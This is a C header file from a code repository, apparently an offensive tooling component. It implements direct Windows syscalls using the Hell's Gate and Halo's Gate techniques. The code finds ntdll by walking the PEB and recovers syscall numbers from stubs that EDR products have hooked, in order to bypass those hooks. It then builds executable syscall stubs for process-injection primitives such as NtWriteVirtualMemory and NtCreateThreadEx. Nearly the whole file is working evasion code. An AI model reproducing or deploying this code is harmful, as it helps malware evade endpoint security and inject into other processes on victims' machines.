-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsyscalls.h
More file actions
458 lines (397 loc) · 18.6 KB
/
Copy pathsyscalls.h
File metadata and controls
458 lines (397 loc) · 18.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
#ifndef SYSCALLS_H
#define SYSCALLS_H
#include <windows.h>
#include <stdlib.h>
#include <string.h>
/* -------------------------------------------------------------------------
* Debug logging — gated behind SYSCALLS_DEBUG.
* Release builds compile to zero output, no strings, no printf.
* ------------------------------------------------------------------------- */
#ifdef SYSCALLS_DEBUG
#include <stdio.h>
#define _LOG_OK(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__)
#define _LOG_INFO(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__)
#define _LOG_ERR(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__)
#define _LOG_DBG(fmt, ...) printf("[~] " fmt "\n", ##__VA_ARGS__)
#else
#define _LOG_OK(fmt, ...)
#define _LOG_INFO(fmt, ...)
#define _LOG_ERR(fmt, ...)
#define _LOG_DBG(fmt, ...)
#endif
/* -------------------------------------------------------------------------
* Convenience macros
* ------------------------------------------------------------------------- */
#ifndef NtCurrentProcess
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
#endif
/* -------------------------------------------------------------------------
* PEB / LDR structures — no winternl.h dependency
* ------------------------------------------------------------------------- */
typedef struct _SC_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} SC_UNICODE_STRING;
typedef struct _SC_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
SC_UNICODE_STRING FullDllName;
SC_UNICODE_STRING BaseDllName;
} SC_LDR_ENTRY;
typedef struct _SC_PEB_LDR {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} SC_PEB_LDR;
typedef struct _SC_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
SC_PEB_LDR *Ldr;
} SC_PEB;
/* -------------------------------------------------------------------------
* NT function typedefs
* ------------------------------------------------------------------------- */
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(HANDLE, PVOID *, PSIZE_T, ULONG);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS (NTAPI *pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
typedef NTSTATUS (NTAPI *pNtOpenProcess)(PHANDLE, ACCESS_MASK, PVOID, PVOID);
typedef NTSTATUS (NTAPI *pNtOpenThread)(PHANDLE, ACCESS_MASK, PVOID, PVOID);
typedef NTSTATUS (NTAPI *pNtSuspendThread)(HANDLE, PULONG);
typedef NTSTATUS (NTAPI *pNtResumeThread)(HANDLE, PULONG);
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(DWORD, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *pNtDuplicateObject)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(HANDLE, BOOLEAN, PLARGE_INTEGER);
typedef NTSTATUS (NTAPI *pNtClose)(HANDLE);
/* -------------------------------------------------------------------------
* SSN table — internal resolver state
* ------------------------------------------------------------------------- */
#define SC_MAX_ENTRIES 512
typedef struct _SC_SSN_ENTRY {
char name[64];
PVOID address;
DWORD ssn;
} SC_SSN_ENTRY;
static SC_SSN_ENTRY _sc_table[SC_MAX_ENTRIES];
static DWORD _sc_count = 0;
static BOOL _sc_inited = FALSE;
/* -------------------------------------------------------------------------
* Internal helpers
* ------------------------------------------------------------------------- */
/* Case-insensitive wide-to-ASCII compare — avoids any imported string API */
static BOOL _sc_wcsieqA(PWSTR w, const char *a) {
while (*w && *a) {
WCHAR wc = *w; char ac = *a;
if (wc >= L'A' && wc <= L'Z') wc += 32;
if (ac >= 'A' && ac <= 'Z') ac += 32;
if (wc != (WCHAR)ac) return FALSE;
w++; a++;
}
return (*w == 0 && *a == 0);
}
/* Walk PEB!InLoadOrderModuleList to find ntdll — no imported APIs */
static PVOID _sc_getNtdll(void) {
#ifdef _WIN64
SC_PEB *peb = (SC_PEB *)__readgsqword(0x60);
#else
SC_PEB *peb = (SC_PEB *)__readfsdword(0x30);
#endif
LIST_ENTRY *head = &peb->Ldr->InLoadOrderModuleList;
LIST_ENTRY *curr = head->Flink;
while (curr != head) {
SC_LDR_ENTRY *e = CONTAINING_RECORD(curr, SC_LDR_ENTRY, InLoadOrderLinks);
if (_sc_wcsieqA(e->BaseDllName.Buffer, "ntdll.dll"))
return e->DllBase;
curr = curr->Flink;
}
return NULL;
}
/* qsort comparator — sort entries ascending by virtual address */
static int _sc_cmpAddr(const void *a, const void *b) {
const SC_SSN_ENTRY *ea = (const SC_SSN_ENTRY *)a;
const SC_SSN_ENTRY *eb = (const SC_SSN_ENTRY *)b;
if (ea->address < eb->address) return -1;
if (ea->address > eb->address) return 1;
return 0;
}
/*
* HellsGate — read SSN directly from unhooked stub bytes.
* Clean x64 syscall stub prologue:
* 4C 8B D1 mov r10, rcx
* B8 xx xx 00 00 mov eax, <SSN> <- SSN at offset 4
* 0F 05 syscall
* C3 ret
*/
static BOOL _sc_cleanStub(PBYTE stub, PDWORD out) {
if (stub[0] == 0x4C && stub[1] == 0x8B &&
stub[2] == 0xD1 && stub[3] == 0xB8) {
*out = *(DWORD *)(stub + 4);
return TRUE;
}
return FALSE;
}
/* Returns TRUE if stub first byte indicates EDR hook (jmp / indirect jmp) */
static BOOL _sc_isHooked(PBYTE stub) {
return (stub[0] == 0xE9 ||
stub[0] == 0xEB ||
(stub[0] == 0xFF && stub[1] == 0x25));
}
/*
* HalosGate — derive SSN for a hooked stub from a clean neighbor.
* Windows assigns SSNs in ascending virtual address order, so a clean
* neighbor at distance k has SSN = hooked_SSN ± k.
* Walks both directions; last resort returns the sorted-position index.
*/
static DWORD _sc_halosGate(DWORD idx) {
DWORD ssn = 0;
for (DWORD d = 1; d <= idx; d++) {
if (_sc_cleanStub((PBYTE)_sc_table[idx - d].address, &ssn)) {
_LOG_DBG("HalosGate: %s <- neighbor %s SSN 0x%04X dist %u",
_sc_table[idx].name, _sc_table[idx - d].name, ssn, d);
return ssn + d;
}
}
for (DWORD d = 1; idx + d < _sc_count; d++) {
if (_sc_cleanStub((PBYTE)_sc_table[idx + d].address, &ssn)) {
_LOG_DBG("HalosGate: %s <- neighbor %s SSN 0x%04X dist %u",
_sc_table[idx].name, _sc_table[idx + d].name, ssn, d);
return ssn - d;
}
}
_LOG_DBG("HalosGate: %s all neighbors hooked, falling back to index %u",
_sc_table[idx].name, idx);
return idx;
}
/* -------------------------------------------------------------------------
* SSN_Init — parse ntdll exports, sort by address, resolve all SSNs
* ------------------------------------------------------------------------- */
static BOOL SSN_Init(void) {
if (_sc_inited) return TRUE;
PVOID base = _sc_getNtdll();
if (!base) { _LOG_ERR("SSN_Init: ntdll not found in PEB"); return FALSE; }
_LOG_OK("SSN_Init: ntdll @ 0x%p", base);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + expRva);
PDWORD nameRvas = (PDWORD)((PBYTE)base + exp->AddressOfNames);
PDWORD funcRvas = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
PWORD ords = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
_sc_count = 0;
for (DWORD i = 0; i < exp->NumberOfNames && _sc_count < SC_MAX_ENTRIES; i++) {
const char *name = (const char *)((PBYTE)base + nameRvas[i]);
if (name[0] != 'Z' || name[1] != 'w') continue;
strncpy(_sc_table[_sc_count].name, name, sizeof(_sc_table[0].name) - 1);
_sc_table[_sc_count].address = (PVOID)((PBYTE)base + funcRvas[ords[i]]);
_sc_table[_sc_count].ssn = 0;
_sc_count++;
}
_LOG_OK("SSN_Init: collected %lu Zw* exports", _sc_count);
qsort(_sc_table, _sc_count, sizeof(SC_SSN_ENTRY), _sc_cmpAddr);
DWORD hooked = 0;
for (DWORD i = 0; i < _sc_count; i++) {
DWORD ssn = 0;
PBYTE stub = (PBYTE)_sc_table[i].address;
if (_sc_cleanStub(stub, &ssn)) {
_sc_table[i].ssn = ssn;
_LOG_DBG("HellsGate: %s SSN 0x%04X", _sc_table[i].name, ssn);
} else {
if (_sc_isHooked(stub)) hooked++;
_sc_table[i].ssn = _sc_halosGate(i);
_LOG_DBG("HalosGate: %s SSN 0x%04X", _sc_table[i].name, _sc_table[i].ssn);
}
}
_LOG_OK("SSN_Init: resolved %lu syscalls, %lu hooked stubs", _sc_count, hooked);
_sc_inited = TRUE;
return TRUE;
}
/* -------------------------------------------------------------------------
* SSN_Get — look up a resolved SSN by name (Nt* or Zw* prefix accepted)
* Returns 0xFFFFFFFF if not found.
* ------------------------------------------------------------------------- */
static DWORD SSN_Get(const char *name) {
if (!_sc_inited) { _LOG_ERR("SSN_Get: table not initialized"); return 0xFFFFFFFF; }
char lookup[64] = {0};
if (name[0] == 'N' && name[1] == 't') {
lookup[0] = 'Z'; lookup[1] = 'w';
strncpy(lookup + 2, name + 2, sizeof(lookup) - 3);
} else {
strncpy(lookup, name, sizeof(lookup) - 1);
}
for (DWORD i = 0; i < _sc_count; i++) {
if (strcmp(_sc_table[i].name, lookup) == 0)
return _sc_table[i].ssn;
}
_LOG_ERR("SSN_Get: %s not found", name);
return 0xFFFFFFFF;
}
/* -------------------------------------------------------------------------
* SSN_Dump — print full resolved table (debug builds only)
* ------------------------------------------------------------------------- */
#ifdef SYSCALLS_DEBUG
static void SSN_Dump(void) {
if (!_sc_inited) { _LOG_ERR("SSN_Dump: not initialized"); return; }
printf("\n[*] SSN table — %lu entries\n", _sc_count);
printf("%-45s SSN\n", "FUNCTION");
printf("%-45s ------\n", "---------------------------------------------");
for (DWORD i = 0; i < _sc_count; i++)
printf("%-45s 0x%04X\n", _sc_table[i].name, _sc_table[i].ssn);
printf("\n");
}
#endif
/* -------------------------------------------------------------------------
* Stub pool
*
* One VirtualAlloc(RWX) for all stubs. Each stub is 11 bytes:
* 4C 8B D1 mov r10, rcx
* B8 xx xx 00 00 mov eax, <SSN> <- patched at offset 4
* 0F 05 syscall
* C3 ret
*
* After all stubs are written, NtProtectVirtualMemory flips the pool
* to PAGE_EXECUTE_READ. No RWX memory remains after init.
* ------------------------------------------------------------------------- */
#define SC_STUB_SIZE 11
#define SC_STUB_COUNT 15
static PBYTE _sc_pool = NULL;
static const BYTE _sc_template[SC_STUB_SIZE] = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x05,
0xC3
};
/* -------------------------------------------------------------------------
* Nt* function pointers — call these directly after DirectSyscall_Init()
* ------------------------------------------------------------------------- */
static pNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
static pNtFreeVirtualMemory NtFreeVirtualMemory = NULL;
static pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
static pNtReadVirtualMemory NtReadVirtualMemory = NULL;
static pNtProtectVirtualMemory NtProtectVirtualMemory = NULL;
static pNtQueryVirtualMemory NtQueryVirtualMemory = NULL;
static pNtCreateThreadEx NtCreateThreadEx = NULL;
static pNtOpenProcess NtOpenProcess = NULL;
static pNtOpenThread NtOpenThread = NULL;
static pNtSuspendThread NtSuspendThread = NULL;
static pNtResumeThread NtResumeThread = NULL;
static pNtQuerySystemInformation NtQuerySystemInformation = NULL;
static pNtDuplicateObject NtDuplicateObject = NULL;
static pNtWaitForSingleObject NtWaitForSingleObject = NULL;
static pNtClose NtClose = NULL;
/* Write one stub into pool[slot], patch SSN, assign function pointer */
static BOOL _sc_writeStub(DWORD slot, const char *zwName, PVOID *outPtr) {
DWORD ssn = SSN_Get(zwName);
if (ssn == 0xFFFFFFFF) { _LOG_ERR("Stubs_Init: SSN not found: %s", zwName); return FALSE; }
PBYTE dest = _sc_pool + (slot * SC_STUB_SIZE);
memcpy(dest, _sc_template, SC_STUB_SIZE);
*(DWORD *)(dest + 4) = ssn;
*outPtr = (PVOID)dest;
_LOG_DBG("Stubs_Init: slot %02lu %-30s SSN 0x%04X @ 0x%p", slot, zwName, ssn, dest);
return TRUE;
}
/* -------------------------------------------------------------------------
* Stubs_Init — allocate pool, write all stubs, flip to RX
* ------------------------------------------------------------------------- */
static BOOL Stubs_Init(void) {
if (!_sc_inited) { _LOG_ERR("Stubs_Init: call SSN_Init first"); return FALSE; }
SIZE_T poolSize = (SIZE_T)SC_STUB_SIZE * SC_STUB_COUNT;
_sc_pool = (PBYTE)VirtualAlloc(NULL, poolSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!_sc_pool) { _LOG_ERR("Stubs_Init: VirtualAlloc failed GLE %lu", GetLastError()); return FALSE; }
_LOG_OK("Stubs_Init: pool @ 0x%p (%llu bytes RWX)", _sc_pool, (ULONGLONG)poolSize);
DWORD slot = 0;
BOOL ok = TRUE;
ok &= _sc_writeStub(slot++, "ZwAllocateVirtualMemory", (PVOID *)&NtAllocateVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwFreeVirtualMemory", (PVOID *)&NtFreeVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwWriteVirtualMemory", (PVOID *)&NtWriteVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwReadVirtualMemory", (PVOID *)&NtReadVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwProtectVirtualMemory", (PVOID *)&NtProtectVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwQueryVirtualMemory", (PVOID *)&NtQueryVirtualMemory);
ok &= _sc_writeStub(slot++, "ZwCreateThreadEx", (PVOID *)&NtCreateThreadEx);
ok &= _sc_writeStub(slot++, "ZwOpenProcess", (PVOID *)&NtOpenProcess);
ok &= _sc_writeStub(slot++, "ZwOpenThread", (PVOID *)&NtOpenThread);
ok &= _sc_writeStub(slot++, "ZwSuspendThread", (PVOID *)&NtSuspendThread);
ok &= _sc_writeStub(slot++, "ZwResumeThread", (PVOID *)&NtResumeThread);
ok &= _sc_writeStub(slot++, "ZwQuerySystemInformation", (PVOID *)&NtQuerySystemInformation);
ok &= _sc_writeStub(slot++, "ZwDuplicateObject", (PVOID *)&NtDuplicateObject);
ok &= _sc_writeStub(slot++, "ZwWaitForSingleObject", (PVOID *)&NtWaitForSingleObject);
ok &= _sc_writeStub(slot++, "ZwClose", (PVOID *)&NtClose);
/* slot == SC_STUB_COUNT here — assert at compile time */
// static_assert(SC_STUB_COUNT == 15, "SC_STUB_COUNT mismatch");
if (!ok) {
_LOG_ERR("Stubs_Init: stub write failed, aborting");
VirtualFree(_sc_pool, 0, MEM_RELEASE);
_sc_pool = NULL;
return FALSE;
}
_LOG_OK("Stubs_Init: %d stubs written", SC_STUB_COUNT);
/* Flip pool RWX -> RX using the NtProtectVirtualMemory stub we just wrote */
PVOID protBase = _sc_pool;
SIZE_T protSize = poolSize;
ULONG oldProt = 0;
NTSTATUS st = NtProtectVirtualMemory(NtCurrentProcess(), &protBase, &protSize, PAGE_EXECUTE_READ, &oldProt);
if (!NT_SUCCESS(st))
_LOG_ERR("Stubs_Init: NtProtectVirtualMemory failed 0x%08X (pool remains RWX)", (UINT)st);
else
_LOG_OK("Stubs_Init: pool flipped to PAGE_EXECUTE_READ");
return TRUE;
}
/* -------------------------------------------------------------------------
* DirectSyscall_Init — single entry point, call once at startup
* ------------------------------------------------------------------------- */
static BOOL DirectSyscall_Init(void) {
if (!SSN_Init()) { _LOG_ERR("DirectSyscall_Init: SSN_Init failed"); return FALSE; }
if (!Stubs_Init()) { _LOG_ERR("DirectSyscall_Init: Stubs_Init failed"); return FALSE; }
_LOG_OK("DirectSyscall_Init: ready");
return TRUE;
}
/* -------------------------------------------------------------------------
* Stubs_Print — print stub table with SSNs and addresses (debug only)
* ------------------------------------------------------------------------- */
#ifdef SYSCALLS_DEBUG
static void Stubs_Print(void) {
static const struct { const char *nt; const char *zw; } stubs[] = {
{ "NtAllocateVirtualMemory", "ZwAllocateVirtualMemory" },
{ "NtFreeVirtualMemory", "ZwFreeVirtualMemory" },
{ "NtWriteVirtualMemory", "ZwWriteVirtualMemory" },
{ "NtReadVirtualMemory", "ZwReadVirtualMemory" },
{ "NtProtectVirtualMemory", "ZwProtectVirtualMemory" },
{ "NtQueryVirtualMemory", "ZwQueryVirtualMemory" },
{ "NtCreateThreadEx", "ZwCreateThreadEx" },
{ "NtOpenProcess", "ZwOpenProcess" },
{ "NtOpenThread", "ZwOpenThread" },
{ "NtSuspendThread", "ZwSuspendThread" },
{ "NtResumeThread", "ZwResumeThread" },
{ "NtQuerySystemInformation", "ZwQuerySystemInformation" },
{ "NtDuplicateObject", "ZwDuplicateObject" },
{ "NtWaitForSingleObject", "ZwWaitForSingleObject" },
{ "NtClose", "ZwClose" },
{ NULL, NULL }
};
printf("\n[*] Stub table\n");
printf("%-40s %-6s STUB ADDR\n", "FUNCTION", "SSN");
printf("%-40s ------ ------------------\n", "----------------------------------------");
for (int i = 0; stubs[i].nt; i++) {
DWORD ssn = SSN_Get(stubs[i].zw);
PVOID addr = _sc_pool ? (PVOID)(_sc_pool + i * SC_STUB_SIZE) : NULL;
printf("%-40s 0x%04X 0x%p%s\n",
stubs[i].nt, ssn, addr,
ssn == 0xFFFFFFFF ? " [NOT FOUND]" : "");
}
printf("\n");
}
#endif
#endif /* SYSCALLS_H */